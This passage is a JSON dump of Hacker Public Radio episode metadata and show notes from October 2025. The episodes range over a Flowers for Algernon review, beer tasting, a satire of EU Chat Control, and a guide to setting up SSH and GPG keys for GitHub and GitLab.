                                                              \n\n\n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, software development, dung","version":0,"downloads":0,"valid":1}, {"id":4478,"date":"2025-10-01","title":"YouTube Subscriptions 2025 #6","duration":941,"summary":"Ahuka shares part six of his list of subscribed channels","notes":"\n

                                                              \nI am subscribed to a number of YouTube channels, and I am sharing them with you.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nLinks:

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n\n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":4479,"date":"2025-10-02","title":"Who is the Algernon for Whom are the Flowers?","duration":1345,"summary":"The original short story. *Attention*: Full of revelations of the plot (Spoilers).","notes":"\n
                                                                \n
                                                              • \n\nWhat is it?\n
                                                              • \n
                                                              \n

                                                              \n Flowers for Algernon is a short science fiction story. Originally that. It was later developed as a novel.

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                                \n
                                                              • \n\nHow did I come unto it?\n
                                                              • \n
                                                              \n

                                                              \n I know I have heard the title years before. So, when I saw it recently at the entrance on the bookstore, in a beautiful hardcover, I gave it a view. I did not decided to buy, but it stayed with me, specially for having few pages.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI knew nothing of the plot, I only recognized the title, vaguely, as something I heard before as a praised work — and Isaac Asimov, who handed Keyes the Hugo Award for this short story, in 1960, as Best Novelette of 1959, \"praised it lavishly\" (source: Arthur Bruce Evans, of DePauw University. \n\nDaniel Keyes's Works\n\n).

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI then, weeks or months later, searched about.and discovered it was originally a short story. And available online. In the moment of the interest aroused (soon before producing this.HPR episode), I was more than happy with the immediate possibility of reading, instead of having to wait to buy the book or letting it stay until the next visit to the Public Library of Paraná (that is, of my state in Brazil), that might have a copy.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe first lines won me, so I kept reading, in two \"seats\", two moments, on the phone. It is 26 pages long.

                                                              \n

                                                              \nNow, to the story.

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                                \n
                                                              • \n\nThe plot\n
                                                              • \n
                                                              \n

                                                              \n (Here starts a full revelation of the plot, if you want to stop listening.)

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n(No personal written notes here, comment made directly to audio — so, more stuttered as I tried to find the ideas and words; thanks for the patience!)\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                                \n
                                                              • \n\nCuriosity: The Simpsons\n
                                                              • \n
                                                              \n

                                                              \n \"As well as cinematic and stage adaptations, the book inspired a musical, starring Michael Crawford, and an episode of The Simpsons.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nIn the episode, called Homr, Homer Simpson discovers that a crayon lodged in his brain has been responsible for his stupidity.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nOn its removal, Homer becomes clever, only to have the crayon re-inserted after becoming distanced from family and friends.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nAired in 2001, the episode won an Emmy for outstanding animated programme.\" (Source: BBC. \n\nFlowers for Algernon writer Daniel Keyes dies at 86\n\n. June 18, 2014.)

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                                \n
                                                              • \n\nEnding... the author\n
                                                              • \n
                                                              \n

                                                              \n The author, Daniel Keyes, died on June 15, 2014, aged 86, from complications of pneumonia, at his home in Boca Raton (Florida, USA). His only wife, Aurea Georgina Vazquez, whom he married in 1952, had died one year, one month and one day before, on May 14, 2013.They had two daughters.

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                                \n
                                                              • \n\nLinks:\n
                                                              • \n
                                                              \n

                                                              \n Wikipedia page for the story Flowers for Algernon: \nhttps://en.m.wikipedia.org/wiki/Flowers_for_Algernon\n

                                                              \n

                                                              \n Only that.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThanks for the opportunity to share!

                                                              \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"litterature award, Algernon, Flowers for Algernon, Science fiction","version":0,"downloads":0,"valid":1}, {"id":4480,"date":"2025-10-03","title":"Arthur C. Clarke Becomes Successful","duration":849,"summary":"A look at Arthur C. Clarke's rise to science fiction prominence.","notes":"\n

                                                              \n This look at Arthur C. Clarke brings us to two of the novels that\n helped cement his place in science fiction. They are Childhood's\n End, and A Fall Of Moondust.

                                                              \n

                                                              \n Links:

                                                              \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Arthur C. Clarke","version":0,"downloads":0,"valid":1}, {"id":4481,"date":"2025-10-06","title":"HPR Community News for September 2025","duration":4993,"summary":"HPR Volunteers talk about shows released and comments posted in September 2025","notes":"

                                                              New hosts

                                                              Welcome to our new hosts:
                                                              Wojciech, Major_Ursa.

                                                              Last Month's Shows

                                                              Id Day Date Title Host
                                                              4456 Mon 2025-09-01 HPR Community News for August 2025 HPR Volunteers
                                                              4457 Tue 2025-09-02 doodoo deuce Jezra
                                                              4458 Wed 2025-09-03 Creating an animation in Powerpoint Dave Hingley
                                                              4459 Thu 2025-09-04 How I got into tech Wojciech
                                                              4460 Fri 2025-09-05 Arthur C. Clarke Ahuka
                                                              4461 Mon 2025-09-08 Battle of the mic's Lee
                                                              4462 Tue 2025-09-09 HPR Beer Garden - Intro and Dessert Stouts Kevie
                                                              4463 Wed 2025-09-10 Software Freedom Day NJ, briefly. murph
                                                              4464 Thu 2025-09-11 Replacing the Trackpad on my Laptop Claudio Miranda
                                                              4465 Fri 2025-09-12 Playing Civilization V, Part 3 Ahuka
                                                              4466 Mon 2025-09-15 HPR Music project - Walking tune to(wards) a friend FredBlack
                                                              4467 Tue 2025-09-16 A small Odoo usage intro and a larger technical bit Jeroen Baten
                                                              4468 Wed 2025-09-17 AI Trap and Fix Archer72
                                                              4469 Thu 2025-09-18 Disagree With Me - 3 Statements About Life Living Antoine
                                                              4470 Fri 2025-09-19 HPR is twenty years old today. Lee
                                                              4471 Mon 2025-09-22 Ti-82 Makes Music and Password Manager operat0r
                                                              4472 Tue 2025-09-23 Cheap Yellow Display Project: Introduction to the Cheap Yellow Display Trey
                                                              4473 Wed 2025-09-24 HPR Beer Garden 2 - Session IPA Kevie
                                                              4474 Thu 2025-09-25 Hacker Poetry - 001 Major_Ursa
                                                              4475 Fri 2025-09-26 The true audio file for walking tune to(wards) a friend FredBlack
                                                              4476 Mon 2025-09-29 Does AI cause brain damage? Trollercoaster
                                                              4477 Tue 2025-09-30 doodoo 3 a deuce plus 1 Jezra

                                                              Comments this month

                                                              These are comments which have been made during the past month, either to shows released during the month or to past shows. There are 22 comments in total.

                                                              Past shows

                                                              There are 4 comments on 4 previous shows:

                                                              • hpr4393 (2025-06-04) \"Journal like you mean it.\" by Some Guy On The Internet.
                                                                • Comment 1: Archer72 on 2025-09-01: \"Journaling\"

                                                              • hpr4442 (2025-08-12) \"Orthopedagogiek - what it is.\" by Manon.
                                                                • Comment 4: Manon Fallon on 2025-09-07: \"Thank you\"

                                                              • hpr4445 (2025-08-15) \"doodoo one\" by Jezra.
                                                                • Comment 3: Windigo on 2025-09-03: \"Singular vs plural functions\"

                                                              • hpr4453 (2025-08-27) \"IPv6 for Luddites\" by beni.
                                                                • Comment 5: Paulj on 2025-09-09: \"Fantastic show - thank you\"
                                                                • Comment 6: Dave Morriss on 2025-09-09: \"I was surprised to find that my ISP offers IPv6\"

                                                              This month's shows

                                                              There are 18 comments on 10 of this month's shows:

                                                              • hpr4456 (2025-09-01) \"HPR Community News for August 2025\" by HPR Volunteers.
                                                                • Comment 1: candycanearter07 on 2025-09-01: \"show doubt\"
                                                                • Comment 2: أحمد المحمودي on 2025-09-12: \"Pronouncing my name\"
                                                                • Comment 3: Ken Fallon on 2025-09-16: \"Can I have an example\"

                                                              • hpr4459 (2025-09-04) \"How I got into tech\" by Wojciech.
                                                                • Comment 1: Archer72 on 2025-09-01: \"First show\"
                                                                • Comment 2: Antoine on 2025-09-04: \"Welcome! \"
                                                                • Comment 3: Henrik Hemrin on 2025-09-04: \"Thanks and welcome\"
                                                                • Comment 4: Andrew on 2025-09-04: \"Excellent first show...\"
                                                                • Comment 5: paulj on 2025-09-09: \"Welcome, and thanks!\"

                                                              • hpr4461 (2025-09-08) \"Battle of the mic's\" by Lee.
                                                                • Comment 1: candycanearter07 on 2025-09-12: \"Interesting dive into a topic not thought about often!\"

                                                              • hpr4462 (2025-09-09) \"HPR Beer Garden - Intro and Dessert Stouts \" by Kevie.
                                                                • Comment 1: T.A.Spinner on 2025-09-13: \"Your thoughts on hefeweizens?\"

                                                              • hpr4466 (2025-09-15) \"HPR Music project - Walking tune to(wards) a friend\" by FredBlack.
                                                                • Comment 1: candycanearter07 on 2025-09-25: \"unique idea for a show!\"

                                                              • hpr4470 (2025-09-19) \"HPR is twenty years old today. \" by Lee.
                                                                • Comment 1: quvmoh on 2025-09-20: \"congrats\"
                                                                • Comment 2: ClaudioM on 2025-09-26: \"Happy 20th Anniversary!\"

                                                              • hpr4471 (2025-09-22) \"Ti-82 Makes Music and Password Manager\" by operat0r.
                                                                • Comment 1: candycanearter07 on 2025-09-25: \"TI calc history\"

                                                              • hpr4472 (2025-09-23) \"Cheap Yellow Display Project: Introduction to the Cheap Yellow Display \" by Trey.
                                                                • Comment 1: Archer72 on 2025-09-23: \"Following the series\"

                                                              • hpr4473 (2025-09-24) \"HPR Beer Garden 2 - Session IPA\" by Kevie.
                                                                • Comment 1: Ken Fallon on 2025-09-24: \"FLOSS Beer Tracker \"

                                                              • hpr4476 (2025-09-29) \"Does AI cause brain damage?\" by Trollercoaster.
                                                                • Comment 1: Trey on 2025-09-29: \"Excellent episode\"
                                                                • Comment 2: Trollercoaster on 2025-09-30: \"Re: Excellent episode\"

                                                              Mailing List discussions

                                                              Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the Mailing List which is open to all HPR listeners and contributors. The discussions are open and available on the HPR server under Mailman.

                                                              The threaded discussions this month can be found here:

                                                              https://lists.hackerpublicradio.com/pipermail/hpr/2025-September/thread.html

                                                              Events Calendar

                                                              With the kind permission of LWN.net we are linking to The LWN.net Community Calendar.

                                                              Quoting the site:

                                                              This is the LWN.net community event calendar, where we track events of interest to people using and developing Linux and free software. Clicking on individual events will take you to the appropriate web page.
                                                              ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4482,"date":"2025-10-07","title":"doodoo 4 the double deuce ","duration":947,"summary":"the last bit of blathering about doodo, a todo app to get dung done","notes":"\n

                                                              \nthat dung is done!

                                                              \n

                                                              \n\ndoodoo source\n

                                                              \n

                                                              \nYes, I am immature :)

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n\n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, html, javascript, todo, dung","version":0,"downloads":0,"valid":1}, {"id":4483,"date":"2025-10-08","title":"HPR Beer Garden 3 - Porters","duration":1764,"summary":"Kevie and Dave talk about Porter beers","notes":"\n

                                                              \nKevie and Dave have a discussion about the Porter style of beer. They also review a couple that they purchased: Dave tries out \nMarmalade Porter by Wold Top Brewery\n, whilst Kevie samples \nVictorian Porter by 8 Sail Brewery\n(purchased from \nThe Real Ale Store\n).

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \nConnect with the guys on Untappd:

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe intro sounds for the show are used from:

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n\n","hostid":296,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"beer beergarden","version":0,"downloads":0,"valid":1}, {"id":4484,"date":"2025-10-09","title":"When Your Dentist Uses ChatControl Logic","duration":856,"summary":"Trollercoaster alerts us to the dangers of the proposed EU Chat Control legislation","notes":"\n

                                                              \n When Your Dentist Uses ChatControl Logic

                                                              \n

                                                              \n So there I am, sitting in the waiting room with a mildly annoying\n toothache. Nothing catastrophic, just one of those dull throbs\n that tells you something's going on in there that could turn nasty\n if ignored. The receptionist calls my name, and I walk into Dr.\n ChatControl's office.

                                                              \n

                                                              \n Dr. ChatControl greets me with a concerned expression. \"I've\n reviewed your case,\" he says gravely, \"and many others. Toothaches\n are a serious problem. Did you know that in 2023 alone, at least\n 101,988 people in Europe experienced dental pain? That's over 60%\n of all global dental complaints traced to this region.\"

                                                              \n

                                                              \n \"Okay,\" I say. \"But I just need you to look at this one tooth\"

                                                              \n

                                                              \n \"This is an epidemic,\" he interrupts. \"And we can't just treat\n symptoms anymore. We need a comprehensive, mandatory risk\n assessment.\"

                                                              \n

                                                              \n Dr. ChatControl pulls out a 47-page questionnaire. \"First, we\n assess the risk that your mouth might develop cavities, gum\n disease, or oral cancer,\" he explained. \"This applies to everyone,\n regardless of whether they have symptoms.\"

                                                              \n

                                                              \n \"But I have symptoms,\" I sigh. \"That's why I'm here.\"

                                                              \n

                                                              \n \"Exactly!\" he says triumphantly. Which means you're high-risk. So\n we move to Phase Two: mitigation measures.\"

                                                              \n

                                                              \n He hands me a pamphlet titled \n Safety-by-Design for Oral Health\n . \"From now on, you'll need to implement parental controls on your\n diet. Every candy will come with an age verification wrapper and\n user reporting mechanisms. so your teeth can flag potential\n problems, and verify your age before consuming any hard foods.\"

                                                              \n

                                                              \n \"I'm 38,\" I retort.

                                                              \n

                                                              \n \"Perfect,\" he replies. \"That means you're old enough to consent to\n monitoring.\"

                                                              \n

                                                              \n \"Now,\" Dr. ChatControl continues, \"since your mitigation measures\n haven't been implemented yet because you just got here - I'm\n authorized to issue a detection order.\" He holds up an\n official-looking document with a judge's signature. \"This allows\n me to scan not just the tooth that hurts, but your entire mouth.\n Also your sinuses. And your lymph nodes. And, just to be thorough,\n everyone in the waiting room.\"

                                                              \n
                                                                \n
                                                              \n

                                                              \n \"Wait, what?\" I blurt out.

                                                              \n

                                                              \n \"It's targeted,\" he assures me. \"We're only scanning high-risk\n areas—which, according to our independent EU Dental Centre, is\n every tooth, every patient, all the time.\"

                                                              \n

                                                              \n \"But here's the clever part,\" Dr. ChatControl says, pulling out\n what looks like a tiny sander strapped to an airbrush.

                                                              \n

                                                              \n \"Well, your enamel contains layers that currently block our view\n with regards to early detection of certain viruses. So we need to\n replace the enamel with an optimized layer that perfectly protects\n against currently known sugars and acids but allows our government\n approved detection equipment to inspect the content of your\n teeth.\"

                                                              \n

                                                              \n I' flabberghasted. \"You want to weaken my enamel?\"

                                                              \n

                                                              \n \"Only slightly!\" he said cheerfully. \"Just enough so that our\n scanner can monitor what's happening inside your teeth at all\n times. Don't worry,the new enamel will still protect you from\n everything else.\"

                                                              \n

                                                              \n \"How's that possible if you can penetrate it?\", I continue, still\n cautious.

                                                              \n

                                                              \n \"Well, factory approved candies, for example,\" he says. \"Reputable\n candy manufacturers have agreed to respect the adapted enamel and\n not penetrate it. They've signed a treaty to use optimized\n sugars.\"

                                                              \n

                                                              \n \"And the artisanal candies?\" I asked.

                                                              \n

                                                              \n \"Ah,\" he said, adjusting his glasses. \"Well, those are obviously\n illegal! Those criminals don't tend to honor treaties. So yes, the\n adapted enamel will make your teeth more vulnerable to\n unauthorized cavity formation, bacterial attacks, and anyone who\n wants to exploit the fact that your natural protection has been\n replaced with a see-through version.\"

                                                              \n

                                                              \n \"So you're making my teeth less secure,\" I repeat.

                                                              \n

                                                              \n \"We're making them more observable,\" he corrects, with a slightly\n annoyed tone. \"There's a difference. Your teeth will still be\n protected, just not from us. Or hostile foreign candy shops. Or\n those criminal artisanal real-sugar-nuts. But you have no business\n there anyway. But they definitely protect against harms from\n law-abiding candy!\"

                                                              \n

                                                              \n \"But... Over 500 leading dentists signed a letter saying this\n would create massive vulnerabilities\", I point out.

                                                              \n

                                                              \n \"Those dentists aren't thinking about long term dental hygiene.\"\n Dr. ChatControl sighs dismissively. \"Besides, it's not a backdoor\n if we're replacing your front door with a tinted glass door given\n all our citizens are law abiding!\"

                                                              \n

                                                              \n His tone gets sterner if he continues: \"Let me say more, If you\n refuse to upgrade your enamel, we will consider you a risk of\n dental terrorism. This no longer is about only your teeth, you\n must know. If you choose to blatantly ignore your teeth, you are a\n threat to society!\"

                                                              \n

                                                              \n \"But... The whole reason I am here, is because I care about my\n teeth...\"

                                                              \n

                                                              \n The docter holds up his machine and asks: \"Do you want me to treat\n you or report you?\"

                                                              \n

                                                              \n Oh, whatever, it seems everybody is doing this. I don't want to be\n the outcast crying wolf all the time. So I cave in. The procedure\n doesn't feel painful, so that's a relief.

                                                              \n

                                                              \n After completing the baseline scan, Dr. ChatControl frowns at the\n screen: \"This is concerning,\" he says. \"The system has flagged\n 8,412 potential cavities.\"

                                                              \n

                                                              \n \"But I only have 32 teeth,\" I wimper.

                                                              \n

                                                              \n \"The detection algorithm works on a probabilistic model,\" he\n explains. \"Swiss dental authorities report that about 80% of\n automated cavity reports are false positives, so we'll need to\n investigate all of them.\"

                                                              \n

                                                              \n \"That still means 1,682 of those threats are real\", I sigh.

                                                              \n

                                                              \n \"Which is still 1,682 too many!\" Dr. ChatControl blurts. \"Now,\n I'll need to drill exploratory holes in every tooth, in your gums,\n your tongue, and —just to be safe— your neighbor's mouth, because\n the system flagged them too when they walked past the waiting\n room.\"

                                                              \n

                                                              \n \"This seems insane,\" I say.

                                                              \n

                                                              \n \"The math is solid,\" he insists. \"Even at 99.999% accuracy —which\n doesn't exist— we'd still generate 100,000 false dental alerts per\n day across Europe's 450 million people. But we can't let cavities\n win.\"

                                                              \n

                                                              \n While Dr. ChatControl explains his flawless system, I notice how\n the tooth that actually is hurting —the one I came in to fix— is\n starting to abscess.

                                                              \n

                                                              \n \"Uh, Doctor,\" I say, pointing to the swelling.

                                                              \n

                                                              \n \"We'll get to that after we finish scanning everyone,\" he says\n dismissively. \"The important thing is that no cavity goes\n undetected, even if that means we spend all our time investigating\n healthy teeth.\"

                                                              \n

                                                              \n \"But the actual problem is getting worse,\" I said.

                                                              \n

                                                              \n \"That's because sophisticated cavities have learned to evade\n detection,\" Dr. ChatControl explains. \"They change their\n appearance slightly —maybe grow on the back of the tooth instead\n of the front, or hide under existing fillings. Our algorithms\n can't catch those.\"

                                                              \n

                                                              \n \"What about that letter from those 500 dentists? They also claim\n this detection method is technically infeasible.\" I try again.

                                                              \n

                                                              \n \"They're just not thinking big enough\", the doctor blocks my\n argument.

                                                              \n

                                                              \n \"So here's the treatment plan,\" Dr. ChatControl says, \"We're going\n to install a permanent scanning device in your jaw that monitors\n every tooth, 24/7, and reports any suspicious activity to a\n centralized EU Dental Database.\"

                                                              \n

                                                              \n \"That sounds like a massive security risk,\" I said.

                                                              \n

                                                              \n \"Not at all!\" he replied. \"The device is encrypted. Only our\n scanners can look behind your upgraded enamel. What leaves your\n tooth, is already encrypted. No other device than ours, can read\n the data, so your privacy is intact.\"

                                                              \n

                                                              \n \"So what about those knock-offs you can buy on Ali Express?\" I\n ask.

                                                              \n

                                                              \n \"Oh, but they don't work reliably. And also: Why would hackers\n want access to your teeth?\" he scoffed.

                                                              \n

                                                              \n \"Although, now that I think about it, the device itself would make\n a high-value target for malicious actors, Als they could abuse\n them to learn how to make knock-off candy that doesn't get\n detected by the scanners. Things your natural enamel obviously\n protects against. But let's not dwell on that.\"

                                                              \n

                                                              \n \"By the way,\" Dr. ChatControl adds casually, \"EU politicians and\n government officials are exempt from this scanning requirement\n under 'professional dental secrecy.'\"

                                                              \n

                                                              \n \"So their teeth don't get monitored?\" I ask.

                                                              \n

                                                              \n \"Correct,\" he says. \"Their oral health is a matter of public\n trust. Yours, however, requires constant surveillance.\"

                                                              \n

                                                              \n \"That seems like a double standard,\" I say.

                                                              \n

                                                              \n \"It's a two-tier system for a two-tier society,\" he replies\n pleasantly. \"Now, shall we proceed with installing the jaw\n monitor?\"

                                                              \n

                                                              \n By this point, my actual toothache is developing into a full-blown\n infection. The pain is excruciating.

                                                              \n

                                                              \n \"Doctor, I need antibiotics and a root canal,\" I cry.

                                                              \n

                                                              \n \"We don't do targeted treatments anymore,\" Dr. ChatControl says.\n \"That's the old model. Now we focus on comprehensive, mandatory\n monitoring.\"

                                                              \n

                                                              \n \"But I'm going to lose the tooth,\" I say.

                                                              \n

                                                              \n \"Perhaps,\" he acknowledges. \"But while we were scanning everyone\n in the waiting room, we found three people with slightly\n suspicious molars! They're perfectly healthy now, but they could\n develop cavities someday. That's three potential problems\n prevented!\"

                                                              \n

                                                              \n \"But my actual problem isn't being prevented,\" I point out. \"It's\n getting worse.\"

                                                              \n

                                                              \n \"Well yes,\" he admits. \"But we've invested so much in the scanning\n infrastructure that we can't really afford to do traditional\n dentistry anymore. The system needs to justify itself, you\n understand.\"

                                                              \n

                                                              \n \"This is insane,\" I repeat.

                                                              \n

                                                              \n \"This is \n progress\n ,\" he corrects me.

                                                              \n

                                                              \n As I' left 'm leaving the office —untreated, in pain, and with a\n jaw full of surveillance equipment— I notice a sign on the door: \n \"Signal Dental, Orthodontics Threema, and Proton Mouthcare have\n ceased operations in the EU due to incompatibility with\n mandatory scanning requirements.\"\n

                                                              \n

                                                              \n Apparently, the dentists who actually know how to fix teeth\n without installing spyware have all moved to Switzerland.

                                                              \n

                                                              \n Meanwhile, I hear the voice of Dr. ChatControl behind me in the\n waiting room, announcing to everyone: \"We've successfully detected\n 6,847 potential cavities this week!\" When someone asks what he\n means by potential, he quietly answers: \"Only 11 were real, but\n that's 11 teeth saved!\"

                                                              \n

                                                              \n The infection is still spreading and I'll probably loose my tooth\n after all because nobody actually is treating it. But at least the\n healthy ones are under constant surveillance.

                                                              \n

                                                              \n I made fun of it. But it's not funny. It's about wasting loads of\n money on a noble goal in all the wrong ways. But next week the\n vote will be cast in the EU. So it's high time to reach out to\n your MEP and ask their stance if they are undecided or worse - are\n in favor. Go to fightchatcontrol.eu if you live in Europe.

                                                              \n

                                                              \n Oh, and if you don't live in Europe... This will also impact you.\n Because weakened encryption in mainstream products will most\n certainly spread.

                                                              \n

                                                              \n Time to act

                                                              \n
                                                                \n
                                                              • \n Fight current Chat Control legislation: \n fightchatcontrol.eu\n
                                                              • \n
                                                              \n

                                                              \n References and Sources used

                                                              \n
                                                                \n
                                                              • \n Estonian Public Broadcasting. (2025, September 15). \n Experts: European Union's 'chat control' plan a blow to free\n speech.\n
                                                              • \n
                                                              • \n \n Privacy Guides explaining why it must be stopped
                                                              • \n
                                                              • \n \n Michel Portier, Lecturer at Hogeschool Arnhem and Nijmegen,\n MSc Cybersecurity and \n
                                                              • \n
                                                              • \n \n Patrick Breyer, former MEP\n
                                                              • \n
                                                              • \n Open Letter from 500+ Scientists and Cryptographers (2025,\n September 9). \n Open letter on the EU's proposed Child Sexual Abuse Regulation\n \n Joint statement\n
                                                              • \n
                                                              • \n Breyer, P. (2025, September 9). 'Danger to Democracy': \n 500+ Top Scientists Urge EU Governments to Reject 'Technically\n Infeasible' Chat Control.\n
                                                              • \n
                                                              • \n Breyer, P. (2025). \n Chat Control: The EU's CSAM scanner proposal.\n
                                                              • \n
                                                              • \n Private Internet Access. (2025). \n Chat Control, EU's Plan for Real-Time Mass Surveillance Takes\n a Dramatic Turn.\n
                                                              • \n
                                                              • \n European Digital Rights (EDRi). (2023, August). \n \n Fact-checking of top 9 claims made on the CSA Regulation.\n \n
                                                              • \n
                                                              • \n Internet Watch Foundation. (2024). \n \n 2024 Annual Insights and Data Report.\n \n
                                                              • \n
                                                              • \n European Commission. (2022, May 11). \n [Proposal for a Regulation laying down rules to prevent and\n combat child sexual abuse COM(2022) 209 final.](\nhttps://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX%3A52022PC0209\n )
                                                              • \n
                                                              • \n European Commission. (2023, December 19). \n \n Report on the implementation of Regulation (EU) 2021/1232\n (temporary derogation/\"Chat Control 1.0\").
                                                              • \n
                                                              • \n Anderson, R. (2022). \n \n Chat Control or Child Protection? Research paper\n . University of Cambridge.
                                                              • \n
                                                              • \n Computer Weekly. (2025, September 11). \n Chat Control: EU to decide on requirement for tech firms to\n scan encrypted messages.\n
                                                              • \n
                                                              • \n Multiple security researchers. (2021). \n \n Bugs in Our Pockets: The Risks of Client-Side Scanning\n .\n
                                                              • \n
                                                              • \n \n \n Salt Typhoon: Chinese hacking operation exploits US telecom\n backdoors\n .\n
                                                              • \n
                                                              \n

                                                              \n
                                                              \n

                                                              ","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ChatControl, EU","version":0,"downloads":0,"valid":1}, {"id":4485,"date":"2025-10-10","title":"Git for Github and Gitlab","duration":475,"summary":"Archer72 talks about GPG and SSH keys for Git","notes":"

                                                              Hello, this is your host, Archer72 for Hacker Public Radio

                                                              \n

                                                              In this episode, I get a crash course on git, and thought it\nwould make a good episode. Not actually on git itself, but\nhow to use it on Github and Gitlab.

                                                              \n

                                                              First off, I am looking for a job, so I thought it would be\na great time to brush up on my git knowledge and make a show\ntoo. Of course, I am no git expert by any means, but as it\nhas been said in comments Hacker Public Radio is my memory.

                                                              \n

                                                              You will want to create and ssh key for each Git instance,\nin this case I will use both Github and Gitlab. A few\nother sites to host Git files which are Hacker Public Radio's own\nGitea on HPR,\nNotabug and\nCodeberg

                                                              \n

                                                              Now lets get started.

                                                              \n
                                                                \n
                                                              • ssh-keygen will create an ed25519 key pair
                                                              • \n
                                                              • several years ago this was not yet the default
                                                              • \n
                                                              • add entry to ~/.ssh/config for each git instance
                                                              • \n
                                                              \n
                                                              Host github.com\n    User git\n    IdentityFile ~/.ssh/github-ricemark20\n\nHost gitlab.com\n    User git\n    IdentityFile ~/.ssh/gitlab-archer72\n

                                                              SSH Keys

                                                              \n

                                                              ssh-add ~/.ssh/git-key (not .pub)

                                                              \n

                                                              Git

                                                              \n

                                                              • GPG

                                                              \n
                                                                 - gpg --full-generate-key\n   - gpg --list-public-keys\n   - 40 character string\n   - git config --global user.signingkey XXXXPublicKey\n   - git config --global commit.gpgsign true\n   - gpg --armor --export XXXXPublicKey\n     - copy output to Github or Gitlab, including <…BEGIN PGP…>\n

                                                              Gitlab

                                                              \n
                                                                \n
                                                              • Avatar >\nEdit Profile >\nSSH Keys >\nAdd key (on the right side)
                                                              • \n
                                                              • Gitlab - SSH keys
                                                              • \n
                                                              • cat ~/.ssh/gitlab-key.pub
                                                              • \n
                                                              • Add Key
                                                              • \n
                                                              • git remote set-url origin git@gitlab.com/user/gitlab-repo.git
                                                              • \n
                                                              • Edit Profile >\nGPG Keys >\nAdd key (on the right side)
                                                              • \n
                                                              • Gitlab - GPG keys
                                                              • \n
                                                              • copy and add public key from \ngpg --list-public-keys (40 Characters)
                                                              • \n
                                                              \n

                                                              Github

                                                              \n
                                                                \n
                                                              • Avatar >\nSettings >\nSSH and GPG Keys >\nNew SSH key
                                                              • \n
                                                              • Github - keys
                                                              • \n
                                                              • cat ~/.ssh/github-key.pub
                                                              • \n
                                                              • Github - New SSH key
                                                              • \n
                                                              • Title, Key >\nAdd SSH key
                                                              • \n
                                                              • git remote set-url origin git@github.com:user/github-repo.git
                                                              • \n
                                                              • Avatar >\nSettings >\nSSH and GPG Keys >\nNew GPG key
                                                              • \n
                                                              • Github - New GPG key
                                                              • \n
                                                              • Title, Key >\nAdd GPG key
                                                              • \n
                                                              • copy and add public key from \ngpg --list-public-keys (40 Characters)
                                                              • \n
                                                              \n
                                                              <Claude.io>\n\n\nCreate a new repository named something like resume or my-resume\nUpload your HTML resume file and name it index.html\nGo to your repository Settings → Pages\nUnder \"Source,\" select \"Deploy from a branch\"\nChoose \"main\" branch and \"/ (root)\" folder\nYour resume will be available at https://yourusername.github.io/resume\n

                                                              Github.io - ricemark20

                                                              \r","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Git, Gitea, Gitlab, Github, Notabug, Codeberg, SSH, GPG","version":0,"downloads":0,"valid":1}, {"id":4486,"date":"2025-10-13","title":"A code off my mind","duration":1274,"summary":"Lee touches on a few aspects of coding as an occupation and ponders neurodivergence","notes":"\n

                                                              \n

                                                              \nPart I

                                                              \n - Lee talks about:

                                                              \n
                                                                \n
                                                              • \nCyber - Capture the flag, providing OAuth, Secure design and static typing
                                                              • \n
                                                              • \nDatabases - SQL Server, MySQL and SQLite
                                                              • \n
                                                              • \nTest Frameworks
                                                              • \n
                                                              • \nGenerative AI for coding
                                                              • \n
                                                              • \nHardware (as in IoT, not as in computers)
                                                              • \n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n

                                                              \nPart II

                                                              \n - A ramble about neurdivergence

                                                              \n
                                                                \n
                                                              • \nIn academia and work
                                                              • \n
                                                              • \nAccommodation vs Encouraging work styles that fit the task
                                                              • \n
                                                              • \nRemote working
                                                              • \n
                                                              • \nUnusual career paths
                                                              • \n
                                                              • \nTechnical communication
                                                              • \n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\nSome personal code projects\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\nResources of note\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\nNo chatbots were harmed in the making of this episode\n

